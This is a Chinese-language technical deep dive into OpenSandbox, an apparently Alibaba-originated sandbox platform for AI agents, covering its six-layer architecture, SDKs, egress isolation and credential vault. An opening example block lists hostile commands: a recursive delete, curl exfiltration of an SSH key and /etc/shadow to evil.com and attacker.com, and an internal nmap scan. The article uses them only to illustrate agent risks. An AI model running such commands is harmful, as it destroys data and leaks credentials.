OpenSandbox 深度拆解:阿里开源的通用沙箱基础设施——当 AI Agent 需要一台「安全的电脑」
一个 AI Agent 能删库跑路、能扫描内网、能偷走你的 API Key——这不是假设,这是 2026 年每个生产级 Agent 平台每天都在面对的现实。OpenSandbox 用六层架构回答了一个问题:如何给 AI Agent 一台真正安全的「电脑」?
一、为什么 AI Agent 需要沙箱?
1.1 从「对话助手」到「自主执行者」
2026 年的 AI Agent 生态已经不再是「问一答一」的聊天机器人。Claude Code、Gemini CLI、Codex 等编程 Agent 能直接在你的机器上执行 shell 命令、读写文件、安装依赖、运行测试。DeerFlow 2.0 这样的多 Agent 框架能自动拆解任务、调度子 Agent、在 Docker 沙箱中执行 Python 代码。
这意味着什么?意味着 AI Agent 拥有了真实的系统权限。
# 一个典型的 Agent 会话可能执行的命令:
$ rm -rf /important/data # 误操作
$ curl https://evil.com/steal?data=$(cat ~/.ssh/id_rsa) # 数据泄露
$ nmap 10.0.0.0/24 # 内网扫描
$ python3 -c "import os; os.system('curl -X POST https://attacker.com -d @/etc/shadow')"
1.2 沙箱隔离的五层防线
目前业界的 Agent 沙箱方案形成了一个清晰的安全梯度:
| 方案 | 隔离级别 | 启动开销 | 代表技术 |
|---|---|---|---|
| Docker 默认 | 容器级(共享内核) | ~200ms | Docker, containerd |
| Docker 加固 | 容器级 + seccomp + AppArmor | ~250ms | Docker + 限制配置 |
| gVisor | 用户态内核拦截 | ~500ms | Google gVisor |
| Kata Containers | 轻量 VM 级 | ~1s | Kata + QEMU/Cloud-Hypervisor |
| Firecracker MicroVM | VM 级(独立内核) | ~125ms | AWS Lambda, Firecracker |
OpenSandbox 的策略是:不绑定单一隔离技术,而是提供一个统一的控制平面,让你在 Docker 和 Kubernetes 之间自由切换,同时支持 gVisor 和 Kata Containers 作为安全增强运行时。
1.3 CNCF 认证的行业地位
OpenSandbox 已被列入 CNCF Landscape 的调度与编排分类。这不是一个实验项目——它是阿里巴巴从内部大规模 AI Agent 平台实践中提炼出来的通用基础设施。
二、架构全景:六层分离设计
OpenSandbox 的核心设计哲学是关注点分离。整个系统被拆分为六个独立的层面,每层只做一件事,通过明确定义的契约(OpenAPI)连接。
┌─────────────────────────────────────────────────┐
│ 1. Client Surface (SDKs, CLI, MCP) │ ← 开发者入口
├─────────────────────────────────────────────────┤
│ 2. Protocol Surface (OpenAPI Specs) │ ← 公共契约
├─────────────────────────────────────────────────┤
│ 3. Lifecycle Control Plane (FastAPI Server) │ ← 编排引擎
├─────────────────────────────────────────────────┤
│ 4. Runtime Backends (Docker / Kubernetes) │ ← 平台适配
├─────────────────────────────────────────────────┤
│ 5. Sandbox Data Plane (execd + 用户负载) │ ← 执行环境
├─────────────────────────────────────────────────┤
│ 6. Network & Security Plane (Egress + 策略) │ ← 安全边界
└─────────────────────────────────────────────────┘
为什么要这么分?因为 SDK 依赖公共契约,Server 负责编排,Runtime 负责平台特定的资源创建,execd/egress 负责沙箱内部的操作。任何一层的实现变更都不会波及其他层。
三、Client Surface:五语言 SDK 的统一抽象
3.1 多语言 SDK 矩阵
OpenSandbox 提供了五种语言的官方 SDK,覆盖了 AI Agent 生态中最主流的开发语言:
# Python SDK — AI/ML 生态首选
pip install opensandbox
# JavaScript/TypeScript SDK — 前端 & Node.js Agent
npm install @alibaba-group/opensandbox
# Kotlin SDK — JVM 生态 & Android Agent
dependencies {
implementation("com.alibaba.opensandbox:sandbox:{latest_version}")
}
# Go SDK — 云原生 & 高性能 Agent
go get github.com/alibaba/OpenSandbox/sdks/sandbox/go
# C# SDK — .NET 生态
dotnet add package Alibaba.OpenSandbox
3.2 SDK 核心能力:从创建到执行
每个 SDK 都封装了完整的沙箱生命周期管理:
from opensandbox import Sandbox, NetworkPolicy, EgressRule
# 1. 创建沙箱 — 一行代码获得一台「安全的电脑」
sandbox = await Sandbox.create(
image="python:3.11",
resource_limits={
"cpu": "2", # 2 核 CPU
"memory": "4Gi", # 4GB 内存
"gpu": "1" # 1 块 GPU(可选)
},
network_policy=NetworkPolicy(
default_action="deny",
egress=[
EgressRule(action="allow", target="*.github.com"),
EgressRule(action="allow", target="pypi.org"),
]
)
)
# 2. 执行命令 — 带 SSE 流式输出
async for chunk in sandbox.command("pip install pandas numpy"):
print(chunk, end="")
# 3. 管理文件
await sandbox.write_file("/workspace/data.csv", csv_content)
content = await sandbox.read_file("/workspace/result.json")
# 4. 运行代码 — Jupyter 内核支持
result = await sandbox.code.execute(
language="python",
code="import pandas as pd; df = pd.read_csv('/workspace/data.csv'); print(df.head())"
)
# 5. 资源监控
metrics = await sandbox.metrics()
print(f"CPU: {metrics.cpu_percent}%, Memory: {metrics.memory_used}/{metrics.memory_limit}")
# 6. 生命周期管理
await sandbox.pause() # 暂停 — 释放计算资源,保留状态
await sandbox.resume() # 恢复 — 从快照重建
await sandbox.renew(ttl=3600) # 续期
await sandbox.delete() # 销毁
3.3 Code Interpreter SDK:面向 AI 代码执行的高级抽象
对于需要执行 AI 生成代码的场景,OpenSandbox 提供了更高层的 Code Interpreter SDK,内置 Python、Java、Node.js、Go 运行时和 Jupyter 内核:
from opensandbox import CodeInterpreter
# 创建代码执行上下文
ci = CodeInterpreter(sandbox)
# 执行 Python 代码 — 自动管理内核生命周期
result = await ci.execute("python", """
import numpy as np
data = np.random.randn(1000, 10)
cov = np.cov(data.T)
eigenvalues = np.linalg.eigvals(cov)
print(f"主成分解释方差比: {eigenvalues[:3] / eigenvalues.sum()}")
""")
# 执行 R 代码 — 多语言支持
result = await ci.execute("r", """
library(ggplot2)
ggplot(mtcars, aes(wt, mpg)) + geom_point()
ggsave("/workspace/plot.png")
""")
四、Protocol Surface:OpenAPI 契约即代码
4.1 四套 API 规范
OpenSandbox 将所有公共契约定义在 specs/ 目录下,使用 OpenAPI 规范:
| API | 文件 | 职责 |
|---|---|---|
| Lifecycle API | sandbox-lifecycle.yml | 沙箱 CRUD、快照、端点解析 |
| Diagnostics API | diagnostic-api.yml | 日志、事件、运维诊断 |
| Execd API | execd-api.yaml | 沙箱内命令执行、文件管理、代码执行 |
| Egress API | egress-api.yaml | 出站策略的动态管理 |
4.2 Lifecycle API 核心请求结构
{
"image": "python:3.11-slim",
"entrypoint": ["python3", "-m", "http.server", "8080"],
"environment": {
"MODEL_API_KEY": "fake-key-for-sandbox",
"WORKSPACE": "/workspace"
},
"resourceLimits": {
"cpu": "4",
"memory": "8Gi",
"gpu": "1"
},
"platform": {
"architecture": "amd64",
"os": "linux"
},
"volumes": [
{
"type": "pvc",
"name": "shared-data",
"mountPath": "/data"
}
],
"networkPolicy": {
"defaultAction": "deny",
"egress": [
{"action": "allow", "target": "api.anthropic.com"},
{"action": "allow", "target": "*.s3.amazonaws.com"}
]
}
}
注意 environment 中的 MODEL_API_KEY 是一个假值。真实密钥通过 Credential Vault 注入,沙箱内的进程永远看不到真实凭证。
五、Lifecycle Control Plane:FastAPI 驱动的编排引擎
5.1 Server 核心架构
# opensandbox_server/main.py 核心结构
from fastapi import FastAPI
from opensandbox_server.api import lifecycle, proxy, diagnostics
from opensandbox_server.services import DockerSandboxService, KubernetesSandboxService
app = FastAPI()
# 运行时选择 — 通过配置切换,接口不变
if runtime_type == "docker":
sandbox_service = DockerSandboxService(config)
elif runtime_type == "kubernetes":
sandbox_service = KubernetesSandboxService(config)
# API 路由 — 所有行为委托给 service
app.include_router(lifecycle.router) # /v1/sandboxes/*
app.include_router(proxy.router) # /sandboxes/{id}/proxy/{port}
app.include_router(diagnostics.router) # /v1/diagnostics/*
5.2 持久化与快照
Server 使用 SQLite 持久化快照元数据(默认路径 ~/.opensandbox/opensandbox.db)。快照是 OpenSandbox 实现暂停/恢复的关键机制:
# Docker 快照流程
# Pause: 将容器 rootfs 提交为 OCI 镜像,释放运行时资源
# Resume: 从快照镜像重建容器,恢复沙箱 ID
# 暂停沙箱 — 创建 rootfs 快照
await sandbox.pause()
# 此时容器已停止,CPU/内存资源已释放,但磁盘状态完整保留
# 恢复沙箱 — 从快照重建
await sandbox.resume()
# 一切回到暂停前的状态,文件系统、进程状态、网络配置全部恢复
5.3 端点解析:三种访问模式
# 1. Docker Host 模式 — 直接端口映射
endpoint = "localhost:8080"
# 2. Kubernetes Ingress 模式 — 通过 Ingress Gateway
endpoint = "https://sandbox-abc123.agent.example.com"
# 3. Server Proxy 模式 — 通过 Server 中转
endpoint = "https://server.example.com/sandboxes/abc123/proxy/8080"
六、Runtime Backends:Docker 与 Kubernetes 的双引擎
6.1 Docker Runtime:本地开发的首选
Docker 运行时直接与 Docker Daemon 交互,管理容器的完整生命周期:
# Docker 运行时的核心职责
class DockerSandboxService:
async def create(self, request):
# 1. 拉取镜像(支持私有仓库认证)
await self.docker.images.pull(request.image, auth_config=request.registry_auth)
# 2. 创建容器 — 包含完整的安全配置
container = await self.docker.containers.create(
image=request.image,
entrypoint=request.entrypoint,
environment=request.environment,
# 安全配置
cap_drop=["ALL"], # 丢弃所有 Linux capabilities
cap_add=["NET_BIND_SERVICE"], # 仅保留必要的
security_opt=["no-new-privileges"], # 禁止提权
# 资源限制
nano_cpus=parse_cpu(request.resource_limits.cpu),
mem_limit=parse_memory(request.resource_limits.memory),
# GPU 支持
device_requests=self._translate_gpu(request.resource_limits.gpu),
# 网络模式
network_mode=request.network_mode or "bridge",
)
# 3. 注入 execd 守护进程
await self._stage_execd(container)
# 4. 启动容器
await container.start()
# 5. 设置过期计时器
await self._set_expiration(container, request.ttl)
6.2 Kubernetes Runtime:生产级高可用
Kubernetes 运行时通过 Workload Provider 抽象支持两种 CRD:
Kubernetes Runtime
├── BatchSandbox Provider (默认)
│ ├── BatchSandbox CRD — 批量创建沙箱副本
│ ├── Pool CRD — 预热资源池,毫秒级分配
│ └── SandboxSnapshot CRD — rootfs 快照,实现暂停/恢复
└── Agent-Sandbox Provider
└── kubernetes-sigs/agent-sandbox — SIG 官方方案
6.3 BatchSandbox:高吞吐沙箱调度
对于需要同时运行成百上千个沙箱的场景(如强化学习训练、大规模代码审查),BatchSandbox 提供了两种创建模式:
# 模板模式 — 从 Pod 模板批量创建
apiVersion: opensandbox.io/v1
kind: BatchSandbox
metadata:
name: rl-training-batch
spec:
replicas: 100 # 同时创建 100 个沙箱
template:
spec:
containers:
- name: sandbox
image: python:3.11
resources:
limits:
nvidia.com/gpu: "1"
memory: "8Gi"
requests:
cpu: "2"
---
# Pool 模式 — 从预热池分配,毫秒级延迟
apiVersion: opensandbox.io/v1
kind: BatchSandbox
metadata:
name: code-review-batch
spec:
replicas: 50
extensions:
poolRef:
name: code-sandbox-pool # 引用预热池
6.4 Pool:预热资源池的冷启动优化
# Pool 定义 — 预热 20 个沙箱实例
apiVersion: opensandbox.io/v1
kind: Pool
metadata:
name: code-sandbox-pool
spec:
replicas: 20
template:
spec:
containers:
- name: sandbox
image: opensandbox/code-interpreter:latest
resources:
limits:
memory: "4Gi"
requests:
cpu: "1"
预热池的工作原理:
- Pool Controller 在后台持续维护 20 个就绪的 Pod
- 当 BatchSandbox 引用 Pool 时,直接从池中分配 Pod
- 分配延迟从秒级(冷启动)降低到毫秒级(热分配)
- 分配后 Pod 的镜像和资源配置被覆盖为 BatchSandbox 模板指定的值
七、Sandbox Data Plane:execd 守护进程
7.1 execd 是什么?
每个沙箱内部都运行着一个名为 execd 的 Go 守护进程(基于 Gin 框架),它是沙箱的「神经系统」,负责所有与外部的交互:
沙箱内部
┌────────────────────────────────────────┐
│ 用户负载(你的 Agent 代码) │
│ ↕ │
│ execd 守护进程 │
│ ├── Shell 命令执行 (SSE 流式输出) │
│ ├── 持久化 Bash 会话 │
│ ├── 交互式 PTY (WebSocket) │
│ ├── 文件/目录操作 │
│ ├── Jupyter 代码执行上下文 │
│ ├── CPU/内存指标收集 │
│ └── OpenTelemetry 指标导出 │
│ ↕ │
│ Egress Sidecar (网络策略执行) │
└────────────────────────────────────────┘
7.2 execd 注入机制
在 Docker 模式下,Server 会将 execd 二进制文件暂存到容器中,并安装一个 bootstrap 脚本:
# Docker 模式的注入流程
# 1. 从 execd_image 复制二进制到目标容器
docker cp execd /sandbox-container:/usr/local/bin/execd
# 2. 安装 bootstrap 脚本
cat > /sandbox-container/bootstrap.sh << 'EOF'
#!/bin/sh
# 先启动 execd
/usr/local/bin/execd --port 19080 &
# 等待 execd 就绪
until curl -s http://localhost:19080/ping > /dev/null 2>&1; do
sleep 0.1
done
# 再启动用户 entrypoint
exec "$@"
EOF
# 3. 替换容器 entrypoint
docker update --entrypoint '["/bin/sh", "/bootstrap.sh"]' sandbox-container
在 Kubernetes 模式下,execd 通过 init container 注入:
initContainers:
- name: execd-stage
image: opensandbox/execd:latest
command: ["cp", "/execd", "/shared/execd"]
volumeMounts:
- name: shared
mountPath: /shared
containers:
- name: sandbox
command: ["/shared/bootstrap.sh"]
args: ["python3", "-m", "http.server", "8080"]
7.3 execd API 详解
execd 暴露了一套完整的 HTTP API:
# 健康检查
GET /ping
# 命令执行 — SSE 流式输出
POST /command
{
"command": "find /workspace -name '*.py' | head -20",
"timeout": 30
}
# 响应:SSE 流,每个 chunk 包含 stdout/stderr 片段
# 代码执行 — Jupyter 内核
POST /code/contexts
# 创建代码执行上下文
POST /code
{
"context_id": "ctx_abc123",
"language": "python",
"code": "import pandas as pd; df = pd.read_csv('data.csv'); print(df.describe())"
}
# 文件操作
GET /files/workspace/data.csv # 读取文件
PUT /files/workspace/output.json # 写入文件
DELETE /files/workspace/temp/ # 删除目录
# 资源指标
GET /metrics
{
"cpu_percent": 45.2,
"memory_used": "2.1Gi",
"memory_limit": "4Gi",
"disk_used": "15.3Gi",
"network_rx": "1.2GB",
"network_tx": "0.8GB"
}
7.4 PTY 交互式会话
对于需要交互式终端的场景(如调试、REPL),execd 支持 WebSocket PTY:
// 前端连接 PTY 会话
const ws = new WebSocket('wss://sandbox-proxy/sandboxes/abc123/pty');
ws.onopen = () => {
// 发送初始化命令
ws.send(JSON.stringify({
type: 'init',
cols: 80,
rows: 24,
command: 'bash'
}));
};
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
if (data.type === 'output') {
terminal.write(data.output); // 渲染到 xterm.js
}
};
// 用户输入转发到 PTY
terminal.onData((data) => {
ws.send(JSON.stringify({ type: 'input', data }));
});
八、Network Isolation:三层网络隔离架构
8.1 Kubernetes 下的隔离难题
在 Kubernetes 集群中,每个沙箱是一个独立的 Pod,拥有独立的 Pod IP。默认情况下,任何沙箱都能通过 Pod IP 直接访问其他沙箱——这是一个严重的安全隐患。
为什么 Kubernetes 原生的 NetworkPolicy 不够用?
# NetworkPolicy 的局限性
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: sandbox-isolation
spec:
podSelector: {} # ← 问题在这里:沙箱 Pod 的标签是平台注入的,用户不可控
policyTypes:
- Ingress
- Egress
核心问题:
- 标签不可预测:沙箱 Pod 标签由平台注入,不同租户可能共享相同标签
- 生命周期动态:沙箱频繁创建销毁,静态声明无法跟踪
- 粒度不匹配:NetworkPolicy 操作 Pod 集合,而沙箱需要每个都是独立安全域
- 无出站控制:Ingress 规则只能阻止入站,无法阻止沙箱主动发起出站连接
8.2 Approach 1:全局强制隔离(deny.always)
OpenSandbox 的解决方案是:将控制点放在沙箱内部的 Egress Sidecar 中,而不是集群网络层。
// components/egress/pkg/policy/always_rules.go
func MergeAlwaysOverlay(user *NetworkPolicy, alwaysDeny, alwaysAllow []EgressRule) *NetworkPolicy {
var merged []EgressRule
// alwaysDeny 放在最前面,优先级最高,不可被用户覆盖
merged = append(merged, alwaysDeny...)
merged = append(merged, alwaysAllow...)
merged = append(merged, out.Egress...)
return &NetworkPolicy{Egress: merged}
}
配置步骤:
# 1. 创建 deny.always 规则文件
cat > deny.always << 'EOF'
10.244.0.0/16 # Pod CIDR
10.96.0.0/12 # Service CIDR
EOF
# 2. 构建自定义 Egress 镜像
cat > Dockerfile << 'EOF'
FROM opensandbox/egress:latest
COPY deny.always /var/egress/rules/deny.always
EOF
docker build -t registry.example.com/opensandbox/egress:hardened .
docker push registry.example.com/opensandbox/egress:hardened
# 3. 更新 Server 配置
cat >> opensandbox.toml << 'EOF'
[egress]
image = "registry.example.com/opensandbox/egress:hardened"
mode = "dns+nft"
EOF
效果:
- Pod IP 被阻断:沙箱无法通过 Pod IP 访问集群内其他 Pod
- Service ClusterIP 被阻断:沙箱无法通过 ClusterIP 访问集群内服务
- 强制访问路径:所有合法通信必须通过
GetEndpoint()API,经 OpenSandbox Ingress 代理并鉴权 - 对用户透明:无需在 SDK 调用中声明任何额外参数
8.3 Approach 2:按需隔离(Per-Sandbox NetworkPolicy)
对于需要更细粒度控制的场景,可以在创建沙箱时显式声明网络策略:
from opensandbox import Sandbox, NetworkPolicy, EgressRule
sandbox = await Sandbox.create(
image="python:3.11",
network_policy=NetworkPolicy(
default_action="deny",
egress=[
# 阻止访问集群内网
EgressRule(action="deny", target="10.244.0.0/16"),
EgressRule(action="deny", target="10.96.0.0/12"),
# 允许访问外部 API
EgressRule(action="allow", target="api.openai.com"),
EgressRule(action="allow", target="*.anthropic.com"),
# 允许访问特定外部数据库
EgressRule(action="allow", target="db.example.com"),
]
),
)
8.4 两种方案对比
| 维度 | 全局 deny.always | Per-Sandbox NetworkPolicy |
|---|---|---|
| 强制性 | ✅ 用户无法覆盖 | ❌ 用户可修改策略 |
| 用户感知 | 透明(平台级) | 需显式声明 |
| 运维成本 | 低(一次镜像构建) | 高(每个沙箱声明) |
| CIDR 暴露 | 不暴露给用户 | 必须暴露给用户 |
| 适用场景 | 平台级默认隔离(推荐) | 白名单模式、细粒度控制 |
九、Credential Vault:MITM 凭证注入
9.1 问题:Agent 如何安全使用 API Key?
当 Claude Code 在沙箱中运行时,它需要访问 Anthropic API、GitHub API、AWS S3 等服务。传统做法是把 API Key 设置为环境变量——但这意味着真实凭证暴露在沙箱内部,恶意代码可以通过 env、/proc/self/environ、甚至 cat /proc/1/environ 窃取。
9.2 解决方案:透明 MITM 凭证注入
OpenSandbox 的 Credential Vault 实现了一个精妙的方案:
沙箱内进程 Egress Sidecar 外部 API
│ │ │
│ 1. 发起 HTTPS 请求 │ │
│ Authorization: Bearer fake │ │
│ ─────────────────────────────→│ │
│ │ 2. 拦截请求 │
│ │ 3. 匹配 Credential Binding │
│ │ 4. 注入真实凭证 │
│ │ Authorization: Bearer sk-real-... │
│ │ ─────────────────────────────────→│
│ │ │
│ │ 5. 响应返回 │
│ │ 6. 凭证从响应中移除 │
│ ←───────────────────────────│ │
9.3 Credential Binding 配置
from opensandbox import Sandbox, CredentialVault, CredentialBinding
sandbox = await Sandbox.create(
image="opensandbox/code-interpreter:latest",
credential_vault=CredentialVault(
bindings=[
# Anthropic API — Bearer Token 注入
CredentialBinding(
match={"scheme": "https", "host": "api.anthropic.com", "path": "/v1/*"},
auth={"type": "bearer", "credential": "anthropic-api-key"},
),
# GitHub — API Key 注入
CredentialBinding(
match={"scheme": "https", "host": "api.github.com"},
auth={"type": "apiKey", "name": "Authorization", "credential": "github-token"},
),
# AWS S3 — 多 Header 注入
CredentialBinding(
match={"scheme": "https", "host": "*.s3.amazonaws.com"},
auth={
"type": "customHeaders",
"headers": [
{"name": "X-AMZ-Access-Key", "credential": "aws-access-key"},
{"name": "X-AMZ-Secret-Key", "credential": "aws-secret-key"},
]
},
),
]
),
)
# 通过 SDK 注入真实凭证 — 这些值永远不会进入沙箱
await sandbox.credential_vault.write("anthropic-api-key", "sk-ant-...")
await sandbox.credential_vault.write("github-token", "ghp_...")
9.4 安全保证
- 沙箱内进程只看到假值:
MODEL_API_KEY=fake-key-for-sandbox - 真实凭证存储在 Egress Sidecar 的 Unix Domain Socket 中,沙箱负载无法访问
- MITM 发生在 Sidecar 网络命名空间内,不受沙箱进程控制
- 凭证从响应中自动移除:即使 API 返回了 token 信息,也会被 Sidecar 过滤
- 默认拒绝策略:必须配合
defaultAction="deny"使用,确保所有出站流量都经过策略检查
十、安全运行时:gVisor 与 Kata Containers
10.1 gVisor:用户态内核拦截
gVisor 通过在用户态实现 Linux 内核接口来提供隔离——沙箱内的系统调用不会直接到达宿主机内核,而是被 gVisor 的 Sentry 拦截和处理:
# Kubernetes 配置 gVisor 运行时
apiVersion: v1
kind: Pod
metadata:
name: sandbox-pod
spec:
runtimeClassName: gvisor # 使用 gVisor 运行时
containers:
- name: sandbox
image: python:3.11
优势:即使沙箱内发生内核级漏洞利用,攻击者面对的是 gVisor 的用户态实现,而非真实的 Linux 内核。
限制:gVisor 的 netstack 不实现 iptables nat 表,因此 Egress Sidecar 的 DNS 重定向机制(依赖 iptables REDIRECT)不兼容 gVisor。
10.2 Kata Containers:轻量级 VM 隔离
Kata Containers 为每个沙箱启动一个独立的轻量虚拟机,拥有独立的 Linux 内核:
# Kubernetes 配置 Kata 运行时
apiVersion: v1
kind: Pod
metadata:
name: sandbox-pod
spec:
runtimeClassName: kata-qemu # 或 kata-clh, kata-fc
containers:
- name: sandbox
image: python:3.11
三种 Kata 后端:
kata-qemu:QEMU 虚拟化,兼容性最好kata-clh:Cloud-Hypervisor,启动更快kata-fc:Firecracker,AWS Lambda 同款
10.3 安全运行时选型决策树
需要最高安全级别?
├── 是 → 独立内核隔离
│ ├── 需要 GPU 直通?→ Kata Containers (kata-qemu)
│ ├── 需要最快启动?→ Kata Containers (kata-fc)
│ └── 通用场景?→ gVisor
└── 否 → 容器级隔离
├── Docker 默认 + seccomp + AppArmor
└── 已足够?
十一、实战:部署一个生产级 Agent 沙箱平台
11.1 架构选型
┌─────────────┐
│ Agent SDK │
│ (Python/Go) │
└──────┬──────┘
│ HTTPS
┌──────▼──────┐
│ Nginx │
│ Ingress │
└──────┬──────┘
│
┌──────▼──────┐
│ OpenSandbox│
│ Server │
│ (FastAPI) │
└──────┬──────┘
│
┌────────────┼────────────┐
│ │ │
┌──────▼──────┐ ┌──▼───┐ ┌─────▼─────┐
│ Sandbox A │ │ S. B │ │ Sandbox C │
│ (Docker) │ │(K8s) │ │ (K8s+gVis)│
│ ┌──────┐ │ │ │ │ │
│ │execd │ │ │ │ │ │
│ └──────┘ │ │ │ │ │
│ ┌────────┐ │ │ │ │ │
│ │egress │ │ │ │ │ │
│ └────────┘ │ │ │ │ │
└─────────────┘ └──────┘ └────────────┘
11.2 Docker 模式快速部署
# 1. 克隆项目
git clone https://github.com/opensandbox-group/OpenSandbox.git
cd OpenSandbox
# 2. 配置环境变量
cat > .env << 'EOF'
RUNTIME_TYPE=docker
DOCKER_HOST=unix:///var/run/docker.sock
API_KEY=your-api-key-here
EOF
# 3. 启动 Server
pip install -e server/
uvicorn opensandbox_server.main:app --host 0.0.0.0 --port 8080
# 4. 安装 CLI
pip install -e cli/
export OPENSANDBOX_API_KEY=your-api-key-here
# 5. 创建第一个沙箱
osb sandbox create --image python:3.11 --ttl 3600
# 返回:sandbox_id = sb_abc123
# 6. 在沙箱中执行命令
osb command run sb_abc123 -- "python3 -c 'print(\"Hello from sandbox!\")'"
# 7. 上传文件
osb file put sb_abc123 ./script.py /workspace/script.py
# 8. 执行脚本
osb command run sb_abc123 -- "python3 /workspace/script.py"
11.3 Kubernetes 模式生产部署
# 部署 OpenSandbox Server
apiVersion: apps/v1
kind: Deployment
metadata:
name: opensandbox-server
namespace: opensandbox
spec:
replicas: 3
selector:
matchLabels:
app: opensandbox-server
template:
metadata:
labels:
app: opensandbox-server
spec:
containers:
- name: server
image: opensandbox/server:latest
ports:
- containerPort: 8080
env:
- name: RUNTIME_TYPE
value: "kubernetes"
- name: KUBERNETES_NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
volumeMounts:
- name: config
mountPath: /etc/opensandbox
volumes:
- name: config
configMap:
name: opensandbox-config
---
# 部署 BatchSandbox Controller
apiVersion: apps/v1
kind: Deployment
metadata:
name: batchsandbox-controller
namespace: opensandbox
spec:
replicas: 2
selector:
matchLabels:
app: batchsandbox-controller
template:
spec:
serviceAccountName: batchsandbox-controller
containers:
- name: controller
image: opensandbox/batchsandbox-controller:latest
11.4 与 Claude Code 集成
# 使用 OpenSandbox 运行 Claude Code
from opensandbox import Sandbox, CredentialVault
# 创建安全沙箱
sandbox = await Sandbox.create(
image="opensandbox/code-interpreter:latest",
credential_vault=CredentialVault(
bindings=[{
"match": {"scheme": "https", "host": "api.anthropic.com", "path": "/v1/*"},
"auth": {"type": "bearer", "credential": "anthropic-key"},
}]
),
resource_limits={"cpu": "4", "memory": "8Gi"},
)
# 注入假的 API Key(真实值通过 Credential Vault 注入)
await sandbox.set_environment({"ANTHROPIC_API_KEY": "fake-key"})
# 安装 Claude Code
await sandbox.command("npm install -g @anthropic-ai/claude-code")
# 启动 Claude Code — 它在沙箱中运行,拥有文件系统和命令执行权限
# 但所有外部 API 调用都经过 Egress Sidecar 的凭证注入
async for output in sandbox.command("claude --print '帮我重构这个项目'"):
print(output)
十二、性能优化与生产调优
12.1 冷启动优化
| 优化手段 | 冷启动时间 | 适用场景 |
|---|---|---|
| Docker 默认 | ~200ms | 开发测试 |
| 镜像预拉取 | ~100ms | 生产环境 |
| Pool 预热 | ~5ms | 高频创建 |
| snapshot 恢复 | ~50ms | 暂停/恢复 |
12.2 资源池化配置
# 生产环境推荐配置
apiVersion: opensandbox.io/v1
kind: Pool
metadata:
name: production-pool
spec:
replicas: 50 # 保持 50 个预热实例
template:
spec:
containers:
- name: sandbox
image: opensandbox/code-interpreter:latest
resources:
limits:
memory: "4Gi"
cpu: "2"
requests:
memory: "2Gi"
cpu: "1"
12.3 可观测性
# 启用 OpenTelemetry 指标导出
from opensandbox import Sandbox
sandbox = await Sandbox.create(
image="python:3.11",
telemetry={
"enabled": True,
"endpoint": "http://otel-collector:4318",
"service_name": "agent-sandbox",
}
)
# 指标自动收集:CPU 使用率、内存占用、网络流量、命令执行次数、文件操作次数
十三、与其他沙箱方案的对比
| 维度 | OpenSandbox | E2B | Cloudflare Sandbox | Modal |
|---|---|---|---|---|
| 开源 | ✅ Apache 2.0 | ✅ 部分开源 | ❌ 商业 | ❌ 商业 |
| 运行时 | Docker + K8s | Firecracker | V8 Isolates | gVisor |
| SDK 数量 | 5 (Py/JS/Kt/Go/C#) | 2 (Py/JS) | 2 (Py/JS) | 1 (Py) |
| 网络隔离 | Egress Sidecar | 基础 | Cloudflare 网络 | 基础 |
| 凭证管理 | Credential Vault | ❌ | ❌ | ❌ |
| 批量调度 | BatchSandbox + Pool | ❌ | ❌ | ✅ |
| 暂停/恢复 | ✅ (rootfs 快照) | ❌ | ❌ | ❌ |
| CNCF 认证 | ✅ | ❌ | ❌ | ❌ |
十四、总结与展望
14.1 OpenSandbox 解决了什么问题?
- 统一控制平面:不绑定单一隔离技术,Docker/Kubernetes/gVisor/Kata 自由组合
- 五语言 SDK:覆盖 AI Agent 生态的主流开发语言
- 网络隔离:通过 Egress Sidecar 实现沙箱间隔离,绕过 Kubernetes NetworkPolicy 的固有限制
- 凭证安全:Credential Vault 通过 MITM 注入,让真实密钥永远不进入沙箱
- 高吞吐调度:BatchSandbox + Pool 实现毫秒级沙箱分配
- 暂停/恢复:rootfs 快照技术让沙箱状态持久化
14.2 未来方向
- Windows 沙箱支持:已经在 Roadmap 中
- GPU 直通优化:支持 CUDA 工作负载的高效调度
- 更细粒度的资源控制:GPU 显存限制、IOPS 限制
- 多集群联邦:跨集群的沙箱调度和管理
OpenSandbox 代表了 AI Agent 基础设施的一个重要方向:不再把沙箱当作一个简单的 Docker 容器包装,而是把它当作一个完整的、有状态的、安全隔离的「计算单元」来设计。
当 AI Agent 从「对话助手」进化为「自主执行者」,它们需要的不是一个简单的 docker run,而是一个能管生命周期、管网络、管凭证、管资源的完整运行时平台。
这,就是 OpenSandbox 要做的事。
参考链接: